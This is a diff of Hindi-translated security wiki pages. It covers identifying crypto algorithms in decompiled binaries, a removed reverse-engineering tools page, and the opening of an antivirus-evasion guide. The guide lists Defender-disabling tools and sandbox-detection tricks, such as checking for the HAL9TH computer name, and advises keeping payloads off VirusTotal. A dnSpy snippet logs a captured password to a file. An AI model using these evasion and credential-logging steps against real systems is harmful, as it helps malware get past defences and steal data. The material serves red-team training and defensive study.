||||
|
||||
यदि आप Google में पहले स्थिरांक की खोज करते हैं, तो आपको यह मिलता है:
|
||||
|
||||
.png>)
|
||||
|
||||
इसलिए, आप मान सकते हैं कि डिकंपाइल किया गया फ़ंक्शन एक **sha256 कैलकुलेटर है।**\
|
||||
आप अन्य स्थिरांकों में से किसी की भी खोज कर सकते हैं और आपको (संभवतः) वही परिणाम प्राप्त होगा।
|
||||
|
||||
### data info
|
||||
|
||||
यदि कोड में कोई महत्वपूर्ण स्थिरांक नहीं है, तो यह **.data सेक्शन से जानकारी लोड कर रहा हो सकता है**।\
|
||||
आप उस डेटा तक पहुँच सकते हैं, **पहले dword को समूहित करें** और इसे Google में खोजें जैसा कि हमने पिछले अनुभाग में किया था:
|
||||
|
||||
.png>)
|
||||
|
||||
इस मामले में, यदि आप **0xA56363C6** की खोज करते हैं, तो आप देख सकते हैं कि यह **AES एल्गोरिदम की तालिकाओं** से संबंधित है।
|
||||
|
||||
## RC4 **(Symmetric Crypt)**
|
||||
|
||||
### Characteristics
|
||||
|
||||
यह 3 मुख्य भागों में विभाजित है:
|
||||
|
||||
- **Initialization stage/**: 0x00 से 0xFF तक के **मानों की तालिका बनाता है** (कुल 256bytes, 0x100)। इस तालिका को सामान्यतः **Substitution Box** (या SBox) कहा जाता है।
|
||||
- **Scrambling stage**: पहले बनाई गई तालिका के माध्यम से **लूप करेगा** (0x100 पुनरावृत्तियों का लूप, फिर से) प्रत्येक मान को **सेमी-रैंडम** बाइट्स के साथ संशोधित करेगा। इन सेमी-रैंडम बाइट्स को बनाने के लिए, RC4 **कुंजी का उपयोग किया जाता है**। RC4 **कुंजी** की लंबाई **1 से 256 बाइट्स** के बीच हो सकती है, हालाँकि आमतौर पर इसे 5 बाइट्स से अधिक होना अनुशंसित है। सामान्यतः, RC4 कुंजी 16 बाइट्स लंबी होती है।
|
||||
- **XOR stage**: अंततः, प्लेन-टेक्स्ट या सिफरटेक्स को **पहले बनाए गए मानों के साथ XOR किया जाता है**। एन्क्रिप्ट और डिक्रिप्ट करने के लिए फ़ंक्शन वही होता है। इसके लिए, बनाए गए 256 बाइट्स के माध्यम से आवश्यकतानुसार लूप किया जाएगा। इसे आमतौर पर डिकंपाइल किए गए कोड में **%256 (mod 256)** के साथ पहचाना जाता है।
|
||||
|
||||
> [!TIP]
|
||||
> **डिस्सेम्बली/डिकंपाइल किए गए कोड में RC4 की पहचान करने के लिए, आप 0x100 के आकार के 2 लूप की जांच कर सकते हैं (एक कुंजी के उपयोग के साथ) और फिर इन 2 लूप में पहले बनाए गए 256 मानों के साथ इनपुट डेटा का XOR संभवतः %256 (mod 256) का उपयोग करते हुए।**
|
||||
|
||||
### **Initialization stage/Substitution Box:** (गिनती के रूप में उपयोग किए गए 256 संख्या और 256 वर्णों के प्रत्येक स्थान पर 0 कैसे लिखा गया है, पर ध्यान दें)
|
||||
|
||||
.png>)
|
||||
|
||||
### **Scrambling Stage:**
|
||||
|
||||
.png>)
|
||||
|
||||
### **XOR Stage:**
|
||||
|
||||
.png>)
|
||||
|
||||
## **AES (Symmetric Crypt)**
|
||||
|
||||
### **Characteristics**
|
||||
|
||||
- **substitution boxes और lookup tables** का उपयोग
|
||||
- यह **विशिष्ट lookup table मानों** (स्थिरांक) के उपयोग के कारण **AES को पहचानना संभव है**। _ध्यान दें कि **स्थिरांक** को **बाइनरी में** **या** _**डायनामिकली**_ _**बनाया जा सकता है**_।
|
||||
- **एन्क्रिप्शन कुंजी** को **16** से **भाग दिया जाना चाहिए** (आमतौर पर 32B) और आमतौर पर 16B का **IV** उपयोग किया जाता है।
|
||||
|
||||
### SBox constants
|
||||
|
||||
.png>)
|
||||
|
||||
## Serpent **(Symmetric Crypt)**
|
||||
|
||||
### Characteristics
|
||||
|
||||
- इसे उपयोग करने वाले कुछ मैलवेयर मिलना दुर्लभ है लेकिन इसके उदाहरण हैं (Ursnif)
|
||||
- इसकी लंबाई (अत्यधिक लंबा फ़ंक्शन) के आधार पर यह निर्धारित करना सरल है कि एल्गोरिदम Serpent है या नहीं।
|
||||
|
||||
### Identifying
|
||||
|
||||
अगली छवि में ध्यान दें कि स्थिरांक **0x9E3779B9** का उपयोग किया गया है (ध्यान दें कि यह स्थिरांक अन्य क्रिप्टो एल्गोरिदम जैसे **TEA** -Tiny Encryption Algorithm द्वारा भी उपयोग किया जाता है)।\
|
||||
लूप के **आकार** (**132**) और **डिस्सेम्बली** निर्देशों में XOR संचालन की **संख्या** और **कोड** उदाहरण पर भी ध्यान दें:
|
||||
|
||||
.png>)
|
||||
|
||||
जैसा कि पहले उल्लेख किया गया था, इस कोड को किसी भी डिकंपाइलर के अंदर **एक बहुत लंबे फ़ंक्शन** के रूप में देखा जा सकता है क्योंकि इसके अंदर **कोई कूद नहीं है**। डिकंपाइल किया गया कोड निम्नलिखित की तरह दिख सकता है:
|
||||
|
||||
.png>)
|
||||
|
||||
इसलिए, इस एल्गोरिदम की पहचान करना संभव है **जादुई संख्या** और **प्रारंभिक XORs** की जांच करके, एक **बहुत लंबे फ़ंक्शन** को देखकर और कुछ **निर्देशों** की तुलना करके **लंबे फ़ंक्शन** के **एक कार्यान्वयन** (जैसे 7 द्वारा बाईं ओर शिफ्ट करना और 22 द्वारा बाईं ओर घुमाना)।
|
||||
|
||||
## RSA **(Asymmetric Crypt)**
|
||||
|
||||
### Characteristics
|
||||
|
||||
- सममित एल्गोरिदम की तुलना में अधिक जटिल
|
||||
- कोई स्थिरांक नहीं! (कस्टम कार्यान्वयन को निर्धारित करना कठिन है)
|
||||
- KANAL (एक क्रिप्टो विश्लेषक) RSA पर संकेत दिखाने में विफल रहता है और यह स्थिरांकों पर निर्भर करता है।
|
||||
|
||||
### Identifying by comparisons
|
||||
|
||||
.png>)
|
||||
|
||||
- लाइन 11 (बाईं ओर) में `+7) >> 3` है जो लाइन 35 (दाईं ओर) में समान है: `+7) / 8`
|
||||
- लाइन 12 (बाईं ओर) यह जांच रही है कि `modulus_len < 0x040` और लाइन 36 (दाईं ओर) यह जांच रही है कि `inputLen+11 > modulusLen`
|
||||
|
||||
## MD5 & SHA (hash)
|
||||
|
||||
### Characteristics
|
||||
|
||||
- 3 फ़ंक्शन: Init, Update, Final
|
||||
- समान प्रारंभिक फ़ंक्शन
|
||||
|
||||
### Identify
|
||||
|
||||
**Init**
|
||||
|
||||
आप स्थिरांकों की जांच करके दोनों की पहचान कर सकते हैं। ध्यान दें कि sha_init में 1 स्थिरांक है जो MD5 में नहीं है:
|
||||
|
||||
.png>)
|
||||
|
||||
**MD5 Transform**
|
||||
|
||||
अधिक स्थिरांकों के उपयोग पर ध्यान दें
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
## CRC (hash)
|
||||
|
||||
- छोटा और अधिक कुशल क्योंकि इसका कार्य डेटा में आकस्मिक परिवर्तनों को खोजना है
|
||||
- स्थिरांकों की पहचान करने के लिए lookup tables का उपयोग करता है
|
||||
|
||||
### Identify
|
||||
|
||||
**lookup table constants** की जांच करें:
|
||||
|
||||
.png>)
|
||||
|
||||
एक CRC हैश एल्गोरिदम इस तरह दिखता है:
|
||||
|
||||
.png>)
|
||||
|
||||
## APLib (Compression)
|
||||
|
||||
### Characteristics
|
||||
|
||||
- पहचानने योग्य स्थिरांक नहीं
|
||||
- आप एल्गोरिदम को पायथन में लिखने और ऑनलाइन समान चीजों की खोज करने का प्रयास कर सकते हैं
|
||||
|
||||
### Identify
|
||||
|
||||
ग्राफ़ काफी बड़ा है:
|
||||
|
||||
 (2) (1).png>)
|
||||
|
||||
इसे पहचानने के लिए **3 तुलना** की जांच करें:
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,114 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Wasm डिकंपाइल और Wat संकलन गाइड
|
||||
|
||||
**WebAssembly** के क्षेत्र में, **डिकंपाइलिंग** और **संकलन** के लिए उपकरण डेवलपर्स के लिए आवश्यक हैं। यह गाइड **Wasm (WebAssembly बाइनरी)** और **Wat (WebAssembly टेक्स्ट)** फ़ाइलों को संभालने के लिए कुछ ऑनलाइन संसाधनों और सॉफ़्टवेयर का परिचय देती है।
|
||||
|
||||
## ऑनलाइन उपकरण
|
||||
|
||||
- Wasm को Wat में **डिकंपाइल** करने के लिए, [Wabt's wasm2wat demo](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) पर उपलब्ध उपकरण सहायक है।
|
||||
- Wat को Wasm में वापस **संकलित** करने के लिए, [Wabt's wat2wasm demo](https://webassembly.github.io/wabt/demo/wat2wasm/) इसका उद्देश्य पूरा करता है।
|
||||
- एक और डिकंपाइल विकल्प [web-wasmdec](https://wwwg.github.io/web-wasmdec/) पर पाया जा सकता है।
|
||||
|
||||
## सॉफ़्टवेयर समाधान
|
||||
|
||||
- एक अधिक मजबूत समाधान के लिए, [JEB by PNF Software](https://www.pnfsoftware.com/jeb/demo) व्यापक सुविधाएँ प्रदान करता है।
|
||||
- ओपन-सोर्स प्रोजेक्ट [wasmdec](https://github.com/wwwg/wasmdec) भी डिकंपाइलिंग कार्यों के लिए उपलब्ध है।
|
||||
|
||||
# .Net डिकंपाइलिंग संसाधन
|
||||
|
||||
.Net असेंबली को डिकंपाइल करने के लिए निम्नलिखित उपकरणों का उपयोग किया जा सकता है:
|
||||
|
||||
- [ILSpy](https://github.com/icsharpcode/ILSpy), जो [Visual Studio Code के लिए एक प्लगइन](https://github.com/icsharpcode/ilspy-vscode) भी प्रदान करता है, जो क्रॉस-प्लेटफ़ॉर्म उपयोग की अनुमति देता है।
|
||||
- **डिकंपाइलिंग**, **संशोधन**, और **पुनः संकलन** से संबंधित कार्यों के लिए, [dnSpy](https://github.com/0xd4d/dnSpy/releases) की अत्यधिक सिफारिश की जाती है। एक विधि पर **दाएं-क्लिक** करके और **Modify Method** चुनकर कोड में परिवर्तन किया जा सकता है।
|
||||
- [JetBrains' dotPeek](https://www.jetbrains.com/es-es/decompiler/) .Net असेंबली को डिकंपाइल करने के लिए एक और विकल्प है।
|
||||
|
||||
## DNSpy के साथ डिबगिंग और लॉगिंग को बढ़ाना
|
||||
|
||||
### DNSpy लॉगिंग
|
||||
|
||||
DNSpy का उपयोग करके फ़ाइल में जानकारी लॉग करने के लिए, निम्नलिखित .Net कोड स्निपेट को शामिल करें:
|
||||
|
||||
%%%cpp
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
File.AppendAllText(path, "Password: " + password + "\n");
|
||||
%%%
|
||||
|
||||
### DNSpy डिबगिंग
|
||||
|
||||
DNSpy के साथ प्रभावी डिबगिंग के लिए, डिबगिंग के लिए **Assembly attributes** को समायोजित करने के लिए एक अनुक्रमिक प्रक्रिया की सिफारिश की जाती है, यह सुनिश्चित करते हुए कि डिबगिंग में बाधा डालने वाले ऑप्टिमाइजेशन अक्षम हैं। इस प्रक्रिया में `DebuggableAttribute` सेटिंग्स को बदलना, असेंबली को पुनः संकलित करना, और परिवर्तनों को सहेजना शामिल है।
|
||||
|
||||
इसके अलावा, **IIS** द्वारा चलाए जा रहे .Net एप्लिकेशन को डिबग करने के लिए, `iisreset /noforce` चलाना IIS को पुनः प्रारंभ करता है। डिबगिंग के लिए DNSpy को IIS प्रक्रिया से जोड़ने के लिए, गाइड DNSpy में **w3wp.exe** प्रक्रिया का चयन करने और डिबगिंग सत्र शुरू करने के लिए निर्देश देती है।
|
||||
|
||||
डिबगिंग के दौरान लोड किए गए मॉड्यूल का व्यापक दृश्य प्राप्त करने के लिए, DNSpy में **Modules** विंडो तक पहुंचना सलाह दी जाती है, इसके बाद सभी मॉड्यूल खोलना और आसान नेविगेशन और डिबगिंग के लिए असेंबली को क्रमबद्ध करना।
|
||||
|
||||
यह गाइड WebAssembly और .Net डिकंपाइलिंग के सार को संक्षेप में प्रस्तुत करती है, डेवलपर्स को इन कार्यों को आसानी से नेविगेट करने का मार्ग प्रदान करती है।
|
||||
|
||||
## **Java डिकंपाइलर**
|
||||
|
||||
Java बाइटकोड को डिकंपाइल करने के लिए, ये उपकरण बहुत सहायक हो सकते हैं:
|
||||
|
||||
- [jadx](https://github.com/skylot/jadx)
|
||||
- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases)
|
||||
|
||||
## **DLLs की डिबगिंग**
|
||||
|
||||
### IDA का उपयोग करना
|
||||
|
||||
- **Rundll32** को 64-बिट और 32-बिट संस्करणों के लिए विशिष्ट पथों से लोड किया जाता है।
|
||||
- **Windbg** को डिबगर के रूप में चुना जाता है, जिसमें पुस्तकालय लोड/अनलोड पर निलंबित करने का विकल्प सक्षम होता है।
|
||||
- निष्पादन पैरामीटर में DLL पथ और फ़ंक्शन नाम शामिल होते हैं। यह सेटअप प्रत्येक DLL के लोड होने पर निष्पादन को रोकता है।
|
||||
|
||||
### x64dbg/x32dbg का उपयोग करना
|
||||
|
||||
- IDA के समान, **rundll32** को कमांड लाइन संशोधनों के साथ लोड किया जाता है ताकि DLL और फ़ंक्शन को निर्दिष्ट किया जा सके।
|
||||
- DLL प्रवेश पर ब्रेक करने के लिए सेटिंग्स को समायोजित किया जाता है, जिससे इच्छित DLL प्रवेश बिंदु पर ब्रेकपॉइंट सेट करना संभव होता है।
|
||||
|
||||
### चित्र
|
||||
|
||||
- निष्पादन रोकने के बिंदुओं और कॉन्फ़िगरेशन को स्क्रीनशॉट के माध्यम से चित्रित किया गया है।
|
||||
|
||||
## **ARM & MIPS**
|
||||
|
||||
- अनुकरण के लिए, [arm_now](https://github.com/nongiach/arm_now) एक उपयोगी संसाधन है।
|
||||
|
||||
## **शेलकोड**
|
||||
|
||||
### डिबगिंग तकनीकें
|
||||
|
||||
- **Blobrunner** और **jmp2it** मेमोरी में शेलकोड आवंटित करने और उन्हें Ida या x64dbg के साथ डिबग करने के लिए उपकरण हैं।
|
||||
- Blobrunner [रिलीज़](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)
|
||||
- jmp2it [संकलित संस्करण](https://github.com/adamkramer/jmp2it/releases/)
|
||||
- **Cutter** GUI-आधारित शेलकोड अनुकरण और निरीक्षण प्रदान करता है, जो फ़ाइल के रूप में शेलकोड के प्रबंधन में और सीधे शेलकोड के बीच के अंतर को उजागर करता है।
|
||||
|
||||
### डिओबफस्केशन और विश्लेषण
|
||||
|
||||
- **scdbg** शेलकोड कार्यों और डिओबफस्केशन क्षमताओं के बारे में जानकारी प्रदान करता है।
|
||||
%%%bash
|
||||
scdbg.exe -f shellcode # मूल जानकारी
|
||||
scdbg.exe -f shellcode -r # विश्लेषण रिपोर्ट
|
||||
scdbg.exe -f shellcode -i -r # इंटरएक्टिव हुक
|
||||
scdbg.exe -f shellcode -d # डिकोडेड शेलकोड को डंप करें
|
||||
scdbg.exe -f shellcode /findsc # प्रारंभ ऑफसेट खोजें
|
||||
scdbg.exe -f shellcode /foff 0x0000004D # ऑफसेट से निष्पादित करें
|
||||
%%%
|
||||
|
||||
- शेलकोड को असेंबल करने के लिए **CyberChef**: [CyberChef नुस्खा](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29)
|
||||
|
||||
## **Movfuscator**
|
||||
|
||||
- एक ऑबफस्केटर जो सभी निर्देशों को `mov` के साथ बदलता है।
|
||||
- उपयोगी संसाधनों में [YouTube व्याख्या](https://www.youtube.com/watch?v=2VF_wPkiBJY) और [PDF स्लाइड](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) शामिल हैं।
|
||||
- **demovfuscator** movfuscator के ऑबफस्केशन को उलट सकता है, जिसमें `libcapstone-dev` और `libz3-dev` जैसी निर्भरताएँ और [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) स्थापित करना आवश्यक है।
|
||||
|
||||
## **Delphi**
|
||||
|
||||
- Delphi बाइनरी के लिए, [IDR](https://github.com/crypto2011/IDR) की सिफारिश की जाती है।
|
||||
|
||||
# पाठ्यक्रम
|
||||
|
||||
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
|
||||
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(बाइनरी डिओबफस्केशन\)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -2,94 +2,97 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**यह पृष्ठ लिखा गया था** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
|
||||
**यह पेज लिखे गए हैं** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
|
||||
|
||||
## Stop Defender
|
||||
|
||||
- [defendnot](https://github.com/es3n1n/defendnot): Windows Defender को काम करना बंद कराने का एक टूल।
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): एक टूल जो दूसरे AV की नकल करके Windows Defender को काम करना बंद कर देता है।
|
||||
- [defendnot](https://github.com/es3n1n/defendnot): Windows Defender को काम करना बंद करवाने के लिए एक टूल।
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): दूसरे AV बनाकर Windows Defender को काम करना बंद करवाने वाला टूल।
|
||||
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
|
||||
|
||||
## **AV Evasion Methodology**
|
||||
|
||||
वर्तमान में, AVs फाइल को malicious है या नहीं यह जाँचने के लिए अलग‑अलग तरीके इस्तेमाल करते हैं: static detection, dynamic analysis, और अधिक उन्नत EDRs के लिए behavioural analysis।
|
||||
वर्तमान में, AVs किसी फाइल को मैलिशियस मानने के लिए अलग-अलग तरीके इस्तेमाल करते हैं — static detection, dynamic analysis, और अधिक एडवांस EDRs के लिए behavioural analysis।
|
||||
|
||||
### **Static detection**
|
||||
|
||||
Static detection बाइनरी या स्क्रिप्ट में ज्ञात malicious strings या byte arrays को पहचानकर और फाइल से खुद जानकारी निकालकर (जैसे file description, company name, digital signatures, icon, checksum, आदि) हासिल की जाती है। इसका मतलब है कि सार्वजनिक रूप से उपलब्ध टूल्स का उपयोग आपको ज़्यादा आसानी से पकड़ा सकता है, क्योंकि उन्हें शायद पहले ही analyze करके malicious के रूप में चिह्नित कर दिया गया है। इस तरह की detection से बचने के कुछ तरीके हैं:
|
||||
Static detection उन मालिशियस strings या byte arrays को फ्लैग करके होता है जो किसी binary या script में मिलते हैं, और फाइल से खुद जानकारी निकालकर भी (जैसे file description, company name, digital signatures, icon, checksum, आदि)। इसका मतलब यह है कि public tools का इस्तेमाल आपका पता जल्दी लगा सकता है, क्योंकि उन्हें सम्भवतः पहले ही analyse करके malicious के रूप में चिन्हित किया जा चुका होगा। इस तरह की detection से बचने के कुछ तरीके हैं:
|
||||
|
||||
- **Encryption**
|
||||
- **एन्क्रिप्शन**
|
||||
|
||||
यदि आप बाइनरी को encrypt कर देंगे, तो AV के लिए आपका program detect करना कठिन होगा, लेकिन आपको किसी तरह का loader चाहिए होगा जो प्रोग्राम को memory में decrypt और run करे।
|
||||
अगर आप binary को एन्क्रिप्ट कर देते हैं, तो AV को आपके प्रोग्राम का पता नहीं चलेगा, लेकिन आपको किसी loader की ज़रूरत पड़ेगी जो प्रोग्राम को memory में decrypt करके चलाए।
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
कभी‑कभी बस अपनी बाइनरी या स्क्रिप्ट में कुछ strings बदल देने से AV को पार किया जा सकता है, लेकिन यह काम उस पर निर्भर करते हुए समय‑साध्य हो सकता है जिसे आप obfuscate कर रहे हैं।
|
||||
कभी-कभी बस आपकी binary या script की कुछ strings बदल देने से AV को पार किया जा सकता है, पर यह निर्भर करता है कि आप क्या obfuscate कर रहे हैं — कभी-कभी यह टाइम-खपत काम हो सकता है।
|
||||
|
||||
- **Custom tooling**
|
||||
|
||||
यदि आप अपने खुद के tools विकसित करते हैं, तो कोई ज्ञात bad signatures नहीं होंगे, लेकिन इसमें बहुत समय और मेहनत लगती है।
|
||||
अगर आप अपने खुद के tools बनाते हैं तो कोई known bad signatures नहीं होंगे, पर यह बहुत समय और मेहनत मांगता है।
|
||||
|
||||
> [!TIP]
|
||||
> Windows Defender की static detection के खिलाफ चेक करने का एक अच्छा तरीका है [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)। यह मूलतः फाइल को कई segments में बाँट देता है और फिर Defender से प्रत्येक segment अलग से scan करने को कहता है; इस तरह यह आपको बता सकता है कि आपकी बाइनरी में कौन‑से specific flagged strings या bytes हैं।
|
||||
> Windows Defender की static detection के खिलाफ चेक करने का एक अच्छा तरीका है [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)। यह मूलतः फाइल को कई segments में बाँट देता है और फिर Defender को हर segment अलग से scan करने को कहता है — इस तरह यह आपको बता सकता है कि आपकी binary में कौन-सी strings या bytes फ्लैग हो रही हैं।
|
||||
|
||||
मैं सुझाव देता/देती हूँ कि आप इस [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) को देखें जो practical AV Evasion के बारे में है।
|
||||
मैं आपको practical AV Evasion के बारे में यह [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) ज़रूर देखने की सलाह देता हूँ।
|
||||
|
||||
### **Dynamic analysis**
|
||||
|
||||
Dynamic analysis वह है जब AV आपकी बाइनरी को एक sandbox में चला कर malicious गतिविधियों (उदा. ब्राउज़र के passwords decrypt करके पढ़ना, LSASS का minidump लेना, आदि) पर नज़र रखता है। यह हिस्सा थोड़ा मुश्किल हो सकता है, लेकिन sandboxes से बचने के लिए आप कुछ चीजें कर सकते हैं।
|
||||
Dynamic analysis तब होती है जब AV आपकी binary को sandbox में चलाकर मालिशियस गतिविधि देखता है (जैसे ब्राउज़र के passwords decrypt करके पढ़ना, LSASS पर minidump लेना, आदि)। यह हिस्सा थोड़ा trickier हो सकता है, लेकिन sandboxes से बचने के लिए आप कुछ चीज़ें कर सकते हैं।
|
||||
|
||||
- **Sleep before execution** Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AVs के पास files को scan करने का बहुत छोटा समय होता है ताकि उपयोगकर्ता के workflow में व्यवधान न आए, इसलिए लंबे sleeps का उपयोग binaries की analysis को प्रभावित कर सकता है। समस्या यह है कि कई AVs के sandboxes sleep को skip कर सकते हैं यह इस पर निर्भर करता है कि इसे कैसे implement किया गया है।
|
||||
- **Checking machine's resources** आमतौर पर Sandboxes के पास काम के लिए बहुत कम resources होते हैं (उदा. < 2GB RAM), वरना वे उपयोगकर्ता की मशीन को धीमा कर देंगे। आप यहाँ काफी creative भी हो सकते हैं, उदाहरण के लिए CPU के temperature या fan speeds की जाँच करके — हर चीज़ sandbox में implement नहीं होती।
|
||||
- **Machine-specific checks** यदि आप किसी ऐसे उपयोगकर्ता को target करना चाहते हैं जिसका workstation "contoso.local" domain से जुड़ा है, तो आप कंप्यूटर के domain की जाँच कर सकते हैं कि क्या यह आपके specified domain से मेल खाता है; अगर नहीं, तो आपका प्रोग्राम exit कर सकता है।
|
||||
- **Sleep before execution**
|
||||
यह AV के dynamic analysis को bypass करने का अच्छा तरीका हो सकता है, यह निर्भर करता है कि sandbox कैसे implement किया गया है। AVs के पास फाइलों को scan करने के लिए बहुत कम समय होता है ताकि यूज़र का workflow बाधित न हो, इसलिए लंबी sleeps analysis को प्रभावित कर सकती हैं। समस्या यह है कि कई AVs के sandboxes sleep को skip कर सकते हैं, यह implementation पर निर्भर करता है।
|
||||
- **Checking machine's resources**
|
||||
आमतौर पर Sandboxes के पास काम करने के लिए बहुत कम resources होते हैं (उदाहरण के लिए < 2GB RAM), वरना वे यूज़र की मशीन को स्लो कर देंगे। आप यहाँ क्रिएटिव भी हो सकते हैं, जैसे CPU का temperature या fan speeds चेक करना — हर चीज़ sandbox में implement नहीं होती।
|
||||
- **Machine-specific checks**
|
||||
अगर आप किसी यूज़र को टार्गेट करना चाहते हैं जिसकी workstation "contoso.local" domain से जुड़ी है, तो आप computer के domain की जाँच कर सकते हैं और अगर वह match नहीं करता तो अपना प्रोग्राम exit करवा सकते हैं।
|
||||
|
||||
पता चला है कि Microsoft Defender का Sandbox computername HAL9TH है, इसलिए आप अपना malware detonate करने से पहले कंप्यूटर का नाम चेक कर सकते हैं — अगर नाम HAL9TH से मेल खाता है, तो इसका मतलब है कि आप defender के sandbox के अंदर हैं, और आप अपना प्रोग्राम exit करवा सकते हैं।
|
||||
पता चला है कि Microsoft Defender के Sandbox का computername HAL9TH है, तो आप अपने malware में detonation से पहले कंप्यूटर नाम चेक कर सकते हैं — अगर नाम HAL9TH है तो आप defender के sandbox के अंदर हैं और अपना प्रोग्राम exit करवा सकते हैं।
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
Sandboxes के खिलाफ जाने के लिए [@mgeeky](https://twitter.com/mariuszbit) की कुछ और बहुत अच्छी टिप्स:
|
||||
Sandboxes के खिलाफ जाने के कुछ और बेहतरीन टिप्स [@mgeeky](https://twitter.com/mariuszbit) से
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev चैनल</p></figcaption></figure>
|
||||
|
||||
जैसा कि हमने इस पोस्ट में पहले कहा है, सार्वजनिक tools अंततः detect हो ही जाएंगे, तो आपको खुद से एक सवाल पूछना चाहिए:
|
||||
जैसा कि हमने ऊपर कहा, **public tools** अंततः **detect हो ही जाते हैं**, तो आपको अपने आप से यह सवाल पूछना चाहिए:
|
||||
|
||||
उदाहरण के लिए, अगर आप LSASS dump करना चाहते हैं, तो क्या आपको वाकई में mimikatz का उपयोग करना जरूरी है? या क्या आप कोई ऐसा project इस्तेमाल कर सकते हैं जो कम‑प्रसिद्ध हो और वही LSASS dump कर दे।
|
||||
उदाहरण के लिए, अगर आप LSASS dump करना चाहते हैं, **क्या आपको सचमुच mimikatz इस्तेमाल करना ज़रूरी है**? या क्या आप किसी ऐसे प्रोजेक्ट का इस्तेमाल कर सकते हैं जो कम जाना-पहचाना हो और LSASS भी dump कर दे?
|
||||
|
||||
सही जवाब शायद बाद वाला है। mimikatz को उदाहरण के तौर पर लें — यह शायद AVs और EDRs द्वारा सबसे ज्यादा flagged किए जाने वाले टूल्स में से एक है; जबकि प्रोजेक्ट अपने आप में बहुत अच्छा है, यह AVs को चकमा देने के मामले में काम करने में एकNightmare भी हो सकता है, इसलिए जो आप हासिल करना चाहते हैं उसके लिए विकल्प ढूँढें।
|
||||
सही जवाब शायद बाद वाला ही होगा। उदाहरण के तौर पर, mimikatz AVs और EDRs द्वारा सबसे ज़्यादा फ्लैग किए जाने वाले टूल्स में से एक है; जबकि यह प्रोजेक्ट खुद बहुत अच्छा है, AVs से बचने के लिहाज़ से इसके साथ काम करना मुश्किल होता है, इसलिए जो आप हासिल करना चाहते हैं उसके लिए alternatives ढूँढिए।
|
||||
|
||||
> [!TIP]
|
||||
> जब आप अपने payloads को evasion के लिए modify कर रहे हों, तो सुनिश्चित करें कि Defender में automatic sample submission बंद है, और कृपया गंभीरता से, लंबी अवधि में evasion प्राप्त करना आपका लक्ष्य है तो VIRUSTOTAL पर UPLOAD न करें। यदि आप देखना चाहते हैं कि आपका payload किसी particular AV द्वारा detect होता है या नहीं, तो उसे एक VM पर install करें, automatic sample submission बंद करने की कोशिश करें, और वहाँ तब तक टेस्ट करें जब तक आप परिणाम से संतुष्ट न हों।
|
||||
> जब आप अपने payloads को evasion के लिए modify कर रहे हों, तो सुनिश्चित करें कि Defender में **automatic sample submission** बंद हो, और कृपया गंभीरता से **DO NOT UPLOAD TO VIRUSTOTAL** अगर आपका लक्ष्य लम्बे समय में evasion हासिल करना है। अगर आप देखना चाहते हैं कि आपका payload किसी विशेष AV द्वारा detect होता है या नहीं, तो उसे VM पर इंस्टॉल करिए, automatic sample submission बंद करने की कोशिश कीजिए, और वहीं टेस्ट करते रहिए जब तक आप परिणाम से संतुष्ट न हों।
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
जब भी संभव हो, हमेशा evasion के लिए DLLs का उपयोग प्राथमिकता दें; मेरे अनुभव में, DLL फाइलें आमतौर पर बहुत कम detect और analyze की जाती हैं, इसलिए यह कुछ मामलों में detection से बचने के लिए एक बहुत ही सरल ट्रिक है (यदि आपका payload किसी तरह से DLL के रूप में चल सकता हो तो)।
|
||||
जहाँ भी संभव हो, evasion के लिए हमेशा **DLLs का उपयोग प्राथमिकता दें**, मेरे अनुभव में DLL फाइलें आमतौर पर **काफ़ी कम detect** होती हैं और analyze भी कम होती हैं, इसलिए यह detection से बचने के लिए एक सरल ट्रिक है (बशर्ते आपका payload किसी तरीके से DLL के रूप में चल सके)।
|
||||
|
||||
जैसा कि हम इस इमेज में देख सकते हैं, Havoc का एक DLL Payload antiscan.me पर 4/26 detection rate दिखाता है, जबकि EXE payload का detection rate 7/26 है।
|
||||
जैसा कि इस इमेज में दिखता है, Havoc का एक DLL Payload antiscan.me पर 4/26 detection rate दिखा रहा है, जबकि EXE payload का detection rate 7/26 है।
|
||||
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
|
||||
|
||||
